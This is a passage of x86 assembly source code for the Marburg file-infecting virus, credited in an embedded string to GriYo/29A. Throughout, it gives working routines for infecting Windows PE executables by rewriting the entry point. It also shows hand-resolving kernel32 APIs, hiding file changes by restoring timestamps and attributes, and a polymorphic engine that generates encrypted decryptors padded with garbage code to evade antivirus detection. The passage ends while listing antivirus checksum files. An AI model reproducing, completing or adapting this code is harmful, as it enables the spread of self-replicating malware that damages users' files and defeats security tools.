field in file header ;············································································ fuxoring_file: ;Well, after checking relocations for this file we ;found that there is a relocation over the first ;five bytes of host entry-point code ;Our buffer is ZERO bytes coz no code needs to be ;restored on host execution xor eax,eax mov dword ptr [ebp+insert_size+mem_size],eax ;Get the RVA for virus entry-point call get_last_sh mov eax,dword ptr [ebp+original_size] add eax,poly_decryptor-Mem_Base add eax,dword ptr [edi+SH_VirtualAddress] sub eax,dword ptr [edi+SH_PointerToRawData] ;Overwrite OH_AddressOfEntryPoint with the ;virus entry point mov dword ptr [esi+OH_AddressOfEntryPoint],eax jmp back2infection ;············································································ ;Get pointer to last section header ;············································································ get_last_sh: ; ;Entry: ; ;ebx - Host base address ; ;Exit: ; ;esi - IMAGE_OPTIONAL_HEADER ;edi - Pointer to last section header ; mov esi,dword ptr [ebx+DH_lfanew] add esi,ebx cld lodsd movzx ecx,word ptr [esi+FH_NumberOfSections] dec ecx mov eax,IMAGE_SIZEOF_SECTION_HEADER mul ecx movzx edx,word ptr [esi+FH_SizeOfOptionalHeader] add esi,IMAGE_SIZEOF_FILE_HEADER add eax,edx add eax,esi mov edi,eax ret ;············································································ ;Convert RVA to RAW ;············································································ RVA2RAW: ; ;Entry: ; ;ebx - Host base address ;edx - RVA to convert ; ;Exit: ; ;ecx - Pointer to RAW data or NULL if error ;edx - Section delta offset ;esi - Pointer to IMAGE_OPTIONAL_HEADER ;edi - Pointer to section header ; cld mov dword ptr [ebp+search_raw],edx mov esi,dword ptr [ebx+DH_lfanew] add esi,ebx lodsd movzx ecx,word ptr [esi+FH_NumberOfSections] jecxz err_RVA2RAW movzx edi,word ptr [esi+FH_SizeOfOptionalHeader] add esi,IMAGE_SIZEOF_FILE_HEADER add edi,esi ;Get the IMAGE_SECTION_HEADER that contains RVA ; ;At this point: ; ;ebx - File base address ;esi - Pointer to IMAGE_OPTIONAL_HEADER ;edi - Pointer to first section header ;ecx - Number of sections s_img_section: ;Check if address of imports directory is inside this ;section mov eax,dword ptr [ebp+search_raw] mov edx,dword ptr [edi+SH_VirtualAddress] sub eax,edx cmp eax,dword ptr [edi+SH_VirtualSize] jb section_ok out_of_section: ;Go to next section header add edi,IMAGE_SIZEOF_SECTION_HEADER loop s_img_section err_RVA2RAW: ret section_ok: ;Get raw mov ecx,dword ptr [edi+SH_PointerToRawData] sub edx,ecx add ecx,eax add ecx,ebx ret ;············································································ ;Do needed relocation corrections over code at host entry-point ;············································································ do_reloc_work: ;Entry: ; ;ebx - host base address ;esi - IMAGE_BASE_RELOCATION ;edi - IMAGE_OPTIONAL_HEADER ; ;Exit: ; ;ecx - Space free of relocations at entry-point ; ;Get IBR_VirtualAddress cld lodsd mov edx,eax ;Get IBR_SizeOfBlock lodsd or eax,eax jnz continue_reloc ;We have reached the last relocation and all of them ;seem to refer to virtual addresses behind the host ;entry-point, so we can generate lots of polymorphic ;code there xor ecx,ecx not ecx ret continue_reloc: ;Get number of relocations in this block sub eax,IMAGE_SIZEOF_BASE_RELOCATION shr eax,01h mov ecx,eax rblock_loop: ;Get IBR_TypeOffset push ecx xor eax,eax lodsw and ax,0FFFh add eax,edx cmp eax,dword ptr [edi+OH_AddressOfEntryPoint] jae reloc_over_ep next_reloc: ;Follow relocations chain pop ecx loop rblock_loop jmp short do_reloc_work reloc_over_ep: ;Get number of bytes from entry-point to first relocation pop ecx sub eax,dword ptr [edi+OH_AddressOfEntryPoint] ret ;············································································ ;Get entry point for GetProcAddress ;············································································ my_GetProcAddr: ; ;Entry: ; ;a_Kernel32 - Base address for kernel32 ; ;Exit: ; ;eax - Entry point for GetProcAddress ; or NULL if error ; push ebx ;Check for MZ signature at base address cld mov ebx,dword ptr [ebp+a_Kernel32] cmp word ptr [ebx],IMAGE_DOS_SIGNATURE jne e_GetProcAddr ;Now go to the pe header and check for the PE signature mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew] add esi,ebx lodsd cmp eax,IMAGE_NT_SIGNATURE jne e_GetProcAddr ;Get pointer to Image Export Directory and save it add esi,NT_OptionalHeader. \ OH_DirectoryEntries. \ DE_Export. \ DD_VirtualAddress-0004h lodsd add eax,ebx push eax ;Get pointer to exported function names ;Also follow the AddressOfNameOrdinals array mov ecx,dword ptr [eax+ED_NumberOfNames] mov edx,dword ptr [eax+ED_AddressOfNameOrdinals] add edx,ebx lea esi,dword ptr [eax+ED_AddressOfNames] lodsd add eax,ebx next_name: ;Search for GetProcAddress in exported function names push ecx lea esi,dword ptr [ebp+szGetProcAddr] mov edi,dword ptr [eax] or edi,edi jz try_next got_name_rva: ;Get absolute address add edi,ebx ;Compare names mov ecx,0000000Eh repe cmpsb je found_name try_next: ;Go to next name add eax,00000004h add edx,00000002h pop ecx loop next_name ;Name not found, exit with error pop eax jmp short e_GetProcAddr found_name: ;Ok, now edx is the index of the function, so ;lets look at AddressOfNameOrdinals using that index pop ecx pop edi ;Get ordinal for function movzx eax,word ptr [edx] ;Check if ordinal out of range cmp eax,[edi+ED_NumberOfFunctions] jae short e_GetProcAddr ;This is the starting export ordinal number sub eax,dword ptr [edi+ED_BaseOrdinal] inc eax shl eax,02h ;Get address of function mov esi,dword ptr [edi+ED_AddressOfFunctions] add esi,eax add esi,ebx lodsd add eax,ebx pop ebx ret e_GetProcAddr: ;GetProcAddress not found, exit with error xor eax,eax pop ebx ret ;············································································ ;Get KERNEL32 module handle if we cant get it using GetModuleHandle ;············································································ my_getkernel: ;Get KERNEL32 base address using the ID_ForwarderChain ; ;Entry: ; ;ebx - Base address of host in memory ; ;Exit: ; ;eax - Kernel32 base address or NULL if error ; ;Generate a mov esi,xxxx instruction db 0BEh ;This is just a rva that points to ID_ForwarderChain ;field inside Kernel32 import module descriptor rva_kernel32 dd 00000000h ;Get Kernel32 entry point from ID_ForwarderChain add esi,ebx lodsd ;Check for the MZ signature cmp word ptr [eax],IMAGE_DOS_SIGNATURE jne err_getkernel ;Now go to the pe header and check for the PE signature mov esi,dword ptr [eax+DH_lfanew] cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE jne err_getkernel ret err_getkernel: ;Could not find KERNEL32 base addres :( xor eax,eax ret ;············································································ ;Get APIs entry point ;············································································ get_functions: ;Get the entry point for all KERNEL32 API functions ;used by the virus ; ;Entry: ; ;None ; ;Exit: ; ;ecx - NULL if error ; ;Dont fuck our host base address push ebx ;Get pointer to viral function names lea esi,dword ptr [ebp+viral_functions] lea edi,dword ptr [ebp+viral_addresses] ;Get number of functions mov ecx,(offset viral_tbl_end-offset viral_functions)/04h get_each_ep: ;Get pointer to function name cld lodsd add eax,ebp ;Save counter and pointers push ecx push esi push edi ;Get entry point using GetProcAddress push eax push dword ptr [ebp+a_Kernel32] call dword ptr [ebp+a_GetProcAddr] ;Restore counter and pointers pop edi pop esi pop ecx ;Check if entry point is valid or eax,eax jz exit_get_func ;Save function entry point cld stosd ;Next function loop get_each_ep exit_get_func: ;Return, eax contains last function entry point or NULL ;if error mov ecx,eax pop ebx ret ;············································································ ;Open file and create it memory mapped image ;············································································ open_map_file: ; ;Entry: ; ;my_FindData - FindData about file ;szWorkDir - Buffer for path + name of file to infect ; ;Exit: ; ;eax - Base address of memory map for file ; 00000000h if error ; ;Reset attributes so we can get read/write access ;to target file push FILE_ATTRIBUTE_NORMAL lea eax,dword ptr [ebp+szWorkDir] push eax call dword ptr [ebp+a_SetFileAttr] or eax,eax jz exit_open_map ;Open existing file xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE lea eax,dword ptr [ebp+szWorkDir] push eax lea eax,dword ptr [ebp+a_CreateFile] call dword ptr [ebp+a_CreateFile] cmp eax,INVALID_HANDLE_VALUE je exit_open_map ;Create filemapping over file mov dword ptr [ebp+CreateFile_h],eax xor eax,eax push eax push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] push eax push PAGE_READWRITE push eax push [ebp+CreateFile_h] call dword ptr [ebp+a_CreateFileMap] or eax,eax jz Close_Create ;Map file in memory, get base address mov dword ptr [ebp+Mapping_h],eax xor eax,eax push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] push eax push eax push FILE_MAP_WRITE push [ebp+Mapping_h] call dword ptr [ebp+a_MapViewOfFile] or eax,eax jz Close_Mapping ret ;············································································ ;Unmap memory mapped its associated file and close file handle ;············································································ unmap_close: ; ;Entry: ; ;eax - File base address in memory ; ;Exit: ; ;None ; push eax call dword ptr [ebp+a_UnmapView] Close_Mapping: ;Close handle created by CreateFileMappingA push dword ptr [ebp+Mapping_h] call dword ptr [ebp+a_CloseHandle] Close_Create: ;Restore file time lea eax,dword ptr [ebp+my_FindData.WFD_ftLastWriteTime] mov edx,00000008h push eax sub eax,edx push eax sub eax,edx push eax push dword ptr [ebp+CreateFile_h] call dword ptr [ebp+a_SetFileTime] ;Close handle created by CreateFileA push dword ptr [ebp+CreateFile_h] call dword ptr [ebp+a_CloseHandle] ;Restore file attributes push dword ptr [ebp+my_FindData.WFD_dwFileAttributes] lea eax,dword ptr [ebp+szWorkDir] push eax call dword ptr [ebp+a_SetFileAttr] exit_open_map: xor eax,eax ret ;············································································ ;Activation routine ;············································································ payload: ;Use LoadLibrary to get a valid handle over USER32.dll lea eax,dword ptr [ebp+szUSER32] push eax call dword ptr [ebp+a_LoadLibrary] or eax,eax jz exit_payload mov dword ptr [ebp+a_User32],eax ;Get entry-point for LoadIcon lea edx,dword ptr [ebp+szLoadIcon] push edx push eax call dword ptr [ebp+a_GetProcAddr] or eax,eax jz exit_payload ;Load custom icon push 32513 xor edx,edx push edx call eax or eax,eax jz exit_payload mov dword ptr [ebp+h_icon],eax ;Get entry-point for GetDC lea edx,dword ptr [ebp+szGetDC] push edx push dword ptr [ebp+a_User32] call dword ptr [ebp+a_GetProcAddr] or eax,eax jz exit_payload ;Get device context for the screen xor edx,edx push edx call eax or eax,eax jz exit_payload mov dword ptr [ebp+dc_screen],eax ;Get entry-point for DrawIcon lea edx,dword ptr [ebp+szDrawIcon] push edx push dword ptr [ebp+a_User32] call dword ptr [ebp+a_GetProcAddr] or eax,eax jz exit_payload mov ecx,00000100h loop_payload: ;Draw some icons in random coordinates push eax push ecx mov edx,eax push dword ptr [ebp+h_icon] mov eax,00000800h call get_rnd_range push eax mov eax,00000400h call get_rnd_range push eax push dword ptr [ebp+dc_screen] call edx pop ecx pop eax loop loop_payload ;Print exit_payload: ret ;············································································ ;Generate polymorphic encryption ;············································································ mutate: ;Initialize reg flags and random number generator call init_poly ;Select index reg call get_valid_reg mov al,byte ptr [ebx+REG_MASK] mov byte ptr [ebp+index_mask],al or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX ;Select counter reg call get_valid_reg mov al,byte ptr [ebx+REG_MASK] mov byte ptr [ebp+counter_mask],al or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER ;Get and save random displacement ;Do not use any displacement if this field value is null call get_rnd32 and eax,00000001h jz ok_disp call get_rnd32 ok_disp: mov dword ptr [ebp+ptr_disp],eax ;Now get a random key call get_rnd32 mov dword ptr [ebp+crypt_key],eax ;Now get some flags call get_rnd32 mov byte ptr [ebp+build_flags],al ;Get size for INC/DEC procedures call get_rnd32 and al,03h cmp al,01h je get_size_ok cmp al,02h je get_size_ok inc al get_size_ok: mov byte ptr [ebp+oper_size],al ;Where to put decryptor code lea edi,dword ptr [ebp+poly_decryptor+mem_size] ;Lets begin inserting some shit call gen_garbage ;Choose a random decryptor style ;Each style uses the same build procedures, but ;in diferent order mov eax,(end_styles-tbl_styles)/04h call get_rnd_range lea esi,dword ptr [ebp+tbl_styles+eax*04h] lodsd add eax,ebp mov esi,eax ;Generator for decryptor styles ;Build initialization code mov ecx,00000003h call gen_style_code ;Set the loop point in the middle of nowhere push esi call gen_garbage mov dword ptr [ebp+loop_point],edi call gen_garbage pop esi ;Build loop code mov ecx,00000004 call gen_style_code ;Insert a jump to virus code mov al,0E9h stosb lea eax,dword ptr [ebp+Mem_Base+mem_size] sub eax,edi sub eax,00000004h stosd ;Some garbage call gen_rnd_block ;Now do encryption lea edi,dword ptr [ebp+Mem_Base+mem_size] call fixed_size2ecx loop_hide_code: push ecx mov eax,dword ptr [edi] call perform_crypt xor ecx,ecx mov cl,byte ptr [ebp+oper_size] loop_copy_res: stosb shr eax,08h loop loop_copy_res pop ecx loop loop_hide_code ;Exit polymorphic engine ret ;············································································ ;Generator for decryptor styles ;············································································ gen_style_code: lodsd add eax,ebp push ecx push esi call eax call gen_garbage pop esi pop ecx loop gen_style_code ret ;············································································ ;Perform encryption ;············································································ perform_crypt: ;Place for encryption code db 10h dup (00h) ;············································································ ;Generate decryptor action: Get delta offset ;············································································ gen_get_delta: ;This is the CALL opcode mov al,0E8h stosb ;Save the place for the calling address stosd mov dword ptr [ebp+delta_call],edi push edi ;Generate some random data call gen_rnd_block ;Get displacement from CALL instruction to destination ;address mov eax,edi pop esi sub eax,esi ;Put destination address after CALL opcode mov dword ptr [esi-00000004h],eax ;Generate some garbage code into destination address call gen_garbage ;Choose method mov eax,(end_delta_mode-tbl_delta_mode)/04h call get_rnd_range mov eax,dword ptr [ebp+tbl_delta_mode+eax*04h] add eax,ebp jmp eax delta_method_1: ;Generate: ; ; call get_delta ; ... ; get_delta: ; ... ; pop index_reg ; ... call gen_pop_index ret delta_method_2: ;Generate: ; ; call get_delta ; ... ; get_delta: ; ... ; pop reg_1 ; ... ; mov reg_index,reg_1 ; ... call gen_pop_reg_1 mov ah,byte ptr [ebp+index_mask] shl ah,03h or ah,byte ptr [ebx+REG_MASK] or ah,0C0h mov al,8Bh stosw ret delta_method_3: ;Generate: ; ; call get_delta ; ... ; get_delta: ; ... ; pop reg_1 ; ... ; push reg_1 ; ... ; pop reg_index ; ... call gen_pop_reg_1 mov al,50h or al,byte ptr [ebx+REG_MASK] stosb call gen_garbage call gen_pop_index ret gen_pop_index: ;Generate pop reg_index + garbage mov al,58h or al,byte ptr [ebp+index_mask] stosb call gen_garbage ret gen_pop_reg_1: ;Generate pop reg_1 + garbage call get_valid_reg mov al,58h or al,byte ptr [ebx+REG_MASK] stosb or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY push ebx call gen_garbage pop ebx ;Restore aux reg state xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ret ;············································································ ;Generate decryptor action: Fix pointer ;············································································ gen_fix_ptr: ;Get displacement + offset of code to decrypt lea eax,dword ptr [ebp+Mem_Base+mem_size] add eax,dword ptr [ebp+ptr_disp] sub eax,dword ptr [ebp+delta_call] ;Check direction test byte ptr [ebp+build_flags],CRYPT_DIRECTION jz fix_dir_ok ;Direction is from top to bottom push eax call fixed_size2ecx xor eax,eax mov al,byte ptr [ebp+oper_size] push eax mul ecx pop ecx sub eax,ecx pop ecx add eax,ecx fix_dir_ok: push eax ;Fix using ADD or SUB call get_rnd32 and al,01h jz fix_with_sub fix_with_add: ;Generate ADD reg_index,fix_value mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax jmp short fix_done fix_with_sub: ;Generate SUB reg_index,-fix_value mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax neg eax fix_done: stosd ret ;············································································ ;Generate decryptor action: Load counter ;············································································ gen_load_ctr: ;Easy now, just move counter random initial value ;into counter reg and calc end_value mov al,0B8h or al,byte ptr [ebp+counter_mask] stosb call fixed_size2ecx call get_rnd32 stosd test byte ptr [ebp+build_flags],CRYPT_CDIR jnz counter_down counter_up: add eax,ecx jmp short done_ctr_dir counter_down: sub eax,ecx done_ctr_dir: mov dword ptr [ebp+end_value],eax ret ;············································································ ;Generate decryptor action: Decrypt ;············································································ gen_decrypt: ;Check if we are going to use a displacement mov eax,dword ptr [ebp+ptr_disp] or eax,eax jnz more_complex ;Choose generator for [reg] indexing mode mov edx,offset tbl_idx_reg call choose_magic jmp you_got_it more_complex: ;More fun?!?! mov al,byte ptr [ebp+build_flags] test al,CRYPT_SIMPLEX jnz crypt_xtended ;Choose generator for [reg+imm] indexing mode mov edx,offset tbl_dis_reg call choose_magic you_got_it: ;Use magic to convert some values into ;desired instructions call size_correct mov dl,byte ptr [ebp+index_mask] lodsb or al,al jnz adn_reg_01 cmp dl,00000101b je adn_reg_02 adn_reg_01: lodsb or al,dl stosb jmp common_part adn_reg_02: lodsb add al,45h xor ah,ah stosw jmp common_part crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp] test al,CRYPT_COMPLEX jz ok_complex ;Get random displacement from current displacement ;eeehh?!? mov eax,00000010h call get_rnd_range sub dword ptr [ebp+ptr_disp],eax call load_aux push ebx call gen_garbage ;Choose generator for [reg+reg+imm] indexing mode mov edx,offset tbl_paranoia call choose_magic jmp short done_xtended ok_complex: mov eax,dword ptr [ebp+ptr_disp] call load_aux push ebx call gen_garbage ;Choose generator for [reg+reg] indexing mode mov edx,offset tbl_xtended call choose_magic done_xtended: ;Build decryptor instructions call size_correct pop ebx mov dl,byte ptr [ebp+index_mask] lodsb mov cl,al or al,al jnz arn_reg_01 cmp dl,00000101b jne arn_reg_01 lodsb add al,40h stosb jmp short arn_reg_02 arn_reg_01: movsb arn_reg_02: mov al,byte ptr [ebx+REG_MASK] shl al,03h or al,dl stosb or cl,cl jnz arn_reg_03 cmp dl,00000101b jne arn_reg_03 xor al,al stosb arn_reg_03: ;Restore aux reg state xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY common_part: ;Get post-build flags lodsb ;Insert displacement from real address? test al,MAGIC_PUTDISP jz skip_disp push eax mov eax,dword ptr [ebp+ptr_disp] neg eax stosd pop eax skip_disp: ;Insert key? test al,MAGIC_PUTKEY jz skip_key call copy_key skip_key: ;Generate reverse code call do_reverse ret ;············································································ ;Choose a magic generator ;············································································ choose_magic: mov eax,00000006h call get_rnd_range add edx,ebp lea esi,dword ptr [edx+eax*04h] lodsd add eax,ebp mov esi,eax ret ;············································································ ;Do operand size correction ;············································································ size_correct: lodsb mov ah,byte ptr [ebp+oper_size] cmp ah,01h je store_correct inc al cmp ah,04h je store_correct mov ah,66h xchg ah,al stosw ret store_correct: stosb ret ;············································································ ;Load aux reg with displacement ;············································································ load_aux: ;Get a valid auxiliary register push eax call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ;Move displacement into aux reg mov al,0B8h or al,byte ptr [ebx+REG_MASK] stosb pop eax neg eax stosd ret ;············································································ ;Generate crypt-code ;············································································ do_reverse: xor eax,eax mov al,byte ptr [ebp+oper_size] shr eax,01h shl eax,02h add esi,eax lodsd add eax,ebp mov esi,eax push edi lea edi,dword ptr [ebp+perform_crypt] loop_string: lodsb cmp al,MAGIC_ENDSTR je end_of_magic cmp al,MAGIC_ENDKEY je last_spell xor ecx,ecx mov cl,al rep movsb jmp short loop_string last_spell: call copy_key end_of_magic: mov al,0C3h stosb pop edi ret ;············································································ ;Copy encryption key into work buffer taking care about operand size ;············································································ copy_key: mov eax,dword ptr [ebp+crypt_key] xor ecx,ecx mov cl,byte ptr [ebp+oper_size] loop_key: stosb shr eax,08h loop loop_key ret ;············································································ ;Generate decryptor action: Move index to next step ;············································································ gen_next_step: ;Get number of bytes to inc or dec the index reg xor ecx,ecx mov cl,byte ptr [ebp+oper_size] loop_update: ;Get number of bytes to update with this instruction mov eax,ecx call get_rnd_range inc eax ;Check direction test byte ptr [ebp+build_flags],CRYPT_DIRECTION jnz step_down call do_step_up jmp short next_update step_down: call do_step_down next_update: sub ecx,eax jecxz end_update jmp short loop_update end_update: ret do_step_up: ;Move index_reg up or eax,eax jz up_with_inc ;Now choose ADD or SUB push eax call get_rnd32 and al,01h jnz try_sub_1 try_add_1: mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax stosd ret try_sub_1: mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax neg eax stosd neg eax ret up_with_inc: ;Generate INC reg_index mov al,40h or al,byte ptr [ebp+index_mask] stosb mov eax,00000001h ret do_step_down: ;Move index_reg down or eax,eax jz down_with_dec ;Now choose ADD or SUB push eax call get_rnd32 and al,01h jnz try_sub_2 try_add_2: mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax neg eax stosd neg eax ret try_sub_2: mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax stosd ret down_with_dec: ;Generate DEC reg_index mov al,48h or al,byte ptr [ebp+index_mask] stosb mov eax,00000001h ret ;············································································ ;Generate decryptor action: Next counter value ;············································································ gen_next_ctr: ;Check counter direction and update counter ;using a INC or DEC instruction test byte ptr [ebp+build_flags],CRYPT_CDIR jnz upd_ctr_down upd_ctr_up: mov al,40h or al,byte ptr [ebp+counter_mask] jmp short upd_ctr_ok upd_ctr_down: mov al,48h or al,byte ptr [ebp+counter_mask] upd_ctr_ok: stosb ret ;············································································ ;Generate decryptor action: Loop ;············································································ gen_loop: ;Use counter reg in CMP instruction? test byte ptr [ebp+build_flags],CRYPT_CMPCTR jnz doloopauxreg ;Generate CMP counter_reg,end_value mov ax,0F881h or ah,byte ptr [ebp+counter_mask] stosw mov eax,dword ptr [ebp+end_value] stosd jmp doloopready doloopauxreg: ;Get a random valid register to use in a CMP instruction call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY ;Move index reg value into aux reg mov ah,byte ptr [ebx+REG_MASK] shl ah,03h or ah,byte ptr [ebp+counter_mask] or ah,0C0h mov al,8Bh stosw ;Guess what!? push ebx call gen_garbage pop ebx ;Generate CMP aux_reg,end_value mov ax,0F881h or ah,byte ptr [ebx+REG_MASK] stosw mov eax,dword ptr [ebp+end_value] stosd ;Restore aux reg state xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY doloopready: ;Generate the following structure: ; ; loop_point: ; ... ; cmp reg,x ; jne loop_point ; ... ; jmp virus ; ... mov ax,850Fh stosw mov eax,dword ptr [ebp+loop_point] sub eax,edi sub eax,00000004h stosd ret ;············································································ ;Generate some garbage code ;············································································ gen_garbage: ;More recursive levels allowed? inc byte ptr [ebp+recursive_level] cmp byte ptr [ebp+recursive_level],03h jae exit_gg ;Well, we can call this routine from lots of places ;in the virus, so take care about direction flag cld ;Choose garbage generator mov eax,00000003h call get_rnd_range inc eax mov ecx,eax loop_garbage: push ecx mov eax,(end_garbage-tbl_garbage)/04h call get_rnd_range lea esi,dword ptr [ebp+tbl_garbage+eax*04h] lodsd add eax,ebp call eax pop ecx loop loop_garbage ;Update recursive level exit_gg: dec byte ptr [ebp+recursive_level] ret ;············································································ ;Generate MOV reg,imm ;············································································ g_movreg32imm: ;Generate MOV reg32,imm call get_valid_reg mov al,0B8h or al,byte ptr [ebx+REG_MASK] stosb call get_rnd32 stosd ret g_movreg16imm: ;Generate MOV reg16,imm call get_valid_reg mov ax,0B866h or ah,byte ptr [ebx+REG_MASK] stosw call get_rnd32 stosw ret g_movreg8imm: ;Generate MOV reg8,imm call get_valid_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movreg8imm call get_rnd32 mov al,0B0h or al,byte ptr [ebx+REG_MASK] push eax call get_rnd32 pop edx and ax,0004h or ax,dx stosw a_movreg8imm: ret ;············································································ ;Generate mov reg,reg ;············································································ g_movregreg32: call get_rnd_reg push ebx call get_valid_reg pop edx cmp ebx,edx je a_movregreg32 c_movregreg32: mov ah,byte ptr [ebx+REG_MASK] shl ah,03h or ah,byte ptr [edx+REG_MASK] or ah,0C0h mov al,8Bh stosw a_movregreg32: ret g_movregreg16: call get_rnd_reg push ebx call get_valid_reg pop edx cmp ebx,edx je a_movregreg32 mov al,66h stosb jmp short c_movregreg32 g_movregreg8: call get_rnd_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movregreg8 push ebx call get_valid_reg pop edx test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movregreg8 cmp ebx,edx je a_movregreg8 mov ah,byte ptr [ebx+REG_MASK] shl ah,03h or ah,byte ptr [edx+REG_MASK] or ah,0C0h mov al,8Ah push eax call get_rnd32 pop edx and ax,2400h or ax,dx stosw a_movregreg8: ret ;············································································ ;Generate MOVZX/MOVSX reg32,reg16 ;············································································ g_movzx_movsx: call get_rnd32 mov ah,0B7h and al,01h jz d_movzx mov ah,0BFh d_movzx: mov al,0Fh stosw call get_rnd_reg push ebx call get_valid_reg pop edx mov al,byte ptr [ebx+REG_MASK] shl al,03h or al,0C0h or al,byte ptr [edx+REG_MASK] stosb ret ;············································································ ;Generate ADD/SUB/XOR/OR/AND reg,imm ;············································································ g_mathregimm32: mov al,81h stosb call get_valid_reg call do_math_work stosd ret g_mathregimm16: mov ax,8166h stosw call get_valid_reg call do_math_work stosw ret g_mathregimm8: call get_valid_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_math8 mov al,80h stosb call do_math_work stosb and ah,04h or byte ptr [edi-00000002h],ah a_math8: ret do_math_work: mov eax,end_math_imm-tbl_math_imm call get_rnd_range lea esi,dword ptr [ebp+eax+tbl_math_imm] lodsb or al,byte ptr [ebx+REG_MASK] stosb call get_rnd32 ret ;············································································ ;Generate push reg + garbage + pop reg ;············································································ g_push_g_pop: ;Note that garbage generator can call itself in a ;recursive way, so structures like the following ;example can be produced ; ; push reg_1 ; ... ; push reg_2 ; ... ; pop reg_2 ; ... ; pop reg_1 ; call get_rnd_reg mov al,50h or al,byte ptr [ebx+REG_MASK] stosb call gen_garbage call get_valid_reg mov al,58h or al,byte ptr [ebx+REG_MASK] stosb ret ;············································································ ;Generate unconditional jumps ;············································································ g_jump_u: mov al,0E9h stosb push edi stosd call gen_rnd_block pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax ret ;············································································ ;Generate conditional jumps ;············································································ g_jump_c: call get_rnd32 and ah,0Fh add ah,80h mov al,0Fh stosw push edi stosd call gen_garbage pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax ret ;············································································ ;Generate one byte garbage code that does not change reg values ;············································································ gen_save_code: mov eax,end_save_code-tbl_save_code call get_rnd_range mov al,byte ptr [ebp+tbl_save_code+eax] stosb ret ;············································································ ;Initialize register table ;············································································ init_poly: ;We can call this routine from lots of places, so ;take care about direction flag cld ;Initialize random number generator ;Use current day + hour as seed mov eax,dword ptr [ebp+time_day] mov dword ptr [ebp+rnd32_seed],eax ;Initialize register table lea esi,dword ptr [ebp+tbl_startup] lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS] mov ecx,00000007h loop_init_regs: movsb inc edi loop loop_init_regs ;Clear recursive level counter mov dword ptr [ebp+recursive_level],ecx ret ;············································································ ;Get a ramdom reg ;············································································ get_rnd_reg: mov eax,00000007h call get_rnd_range lea ebx,dword ptr [ebp+tbl_regs+eax*02h] ret ;············································································ ;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX) ;············································································ get_valid_reg: call get_rnd_reg mov al,byte ptr [ebx+REG_FLAGS] and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY jnz get_valid_reg ret ;············································································ ;Load ecx with crypt_size / oper_size ;············································································ fixed_size2ecx: mov eax,inf_size-DECRYPTOR_SIZE xor ecx,ecx mov cl,byte ptr [ebp+oper_size] shr ecx,01h or ecx,ecx jz ok_2ecx shr eax,cl jnc ok_2ecx inc eax ok_2ecx: mov ecx,eax ret ;············································································ ;Generate a block of random data ;············································································ gen_rnd_block: ;Generate up to 27 random bytes mov eax,00000004h mov ecx,eax call get_rnd_range add ecx,eax cld rnd_fill_loop: ;Fill loop, get random dword call get_rnd32 stosd loop rnd_fill_loop ret ;············································································ ;Linear congruent pseudorandom number generator ;············································································ get_rnd32: push ecx push edx mov eax,dword ptr [ebp+rnd32_seed] mov ecx,eax imul eax,41C64E6Dh add eax,00003039h mov dword ptr [ebp+rnd32_seed],eax xor eax,ecx pop edx pop ecx ret ;············································································ ;Returns a random num between 0 and entry eax ;············································································ get_rnd_range: push ecx push edx mov ecx,eax call get_rnd32 xor edx,edx div ecx mov eax,edx pop edx pop ecx ret ;············································································ ;Virus initialized data ;Copyright notice db "[ Marburg ViRuS BioCoded by GriYo/29A ]" ;Array of RVAs to function names viral_functions equ this byte dd offset szCreateFileA dd offset szCreateFileMap dd offset szMapViewOfFile dd offset szUnmapView dd offset szCloseHandle dd offset szFindFirst dd offset szFindNext dd offset szFindClose dd offset szVirtualAlloc dd offset szGetWinDir dd offset szGetSysDir dd offset szGetCurDir dd offset szSetFileAttr dd offset szSetFileTime dd offset szDeleteFile dd offset szGetCurProc dd offset szWriteProcMem dd offset szLoadLibrary dd offset szGetSysTime viral_tbl_end equ this byte ;Names of modules used by the virus szKernel32 db "KERNEL32.dll",00h szUSER32 db "USER32.dll",00h ;Kernel32 APIs used by the virus szGetModuleH db "GetModuleHandleA",00h szGetProcAddr db "GetProcAddress",00h szCreateFileA db "CreateFileA",00h szCreateFileMap db "CreateFileMappingA",00h szMapViewOfFile db "MapViewOfFile",00h szUnmapView db "UnmapViewOfFile",00h szCloseHandle db "CloseHandle",00h szFindFirst db "FindFirstFileA",00h szFindNext db "FindNextFileA",00h szFindClose db "FindClose",00h szVirtualAlloc db "VirtualAlloc",00h szGetWinDir db "GetWindowsDirectoryA",00h szGetSysDir db "GetSystemDirectoryA",00h szGetCurDir db "GetCurrentDirectoryA",00h szSetFileAttr db "SetFileAttributesA",00h szSetFileTime db "SetFileTime",00h szDeleteFile db "DeleteFileA",00h szGetCurProc db "GetCurrentProcess",00h szWriteProcMem db "WriteProcessMemory",00h szLoadLibrary db "LoadLibraryA",00h szGetSysTime db "GetSystemTime",00h ;User32 APIs used by the virus szGetDC db "GetDC",00h szLoadIcon db "LoadIconA",00h szDrawIcon db "DrawIcon",00h ;Names of AV checksum files tbl_AV_files equ this byte dd offset 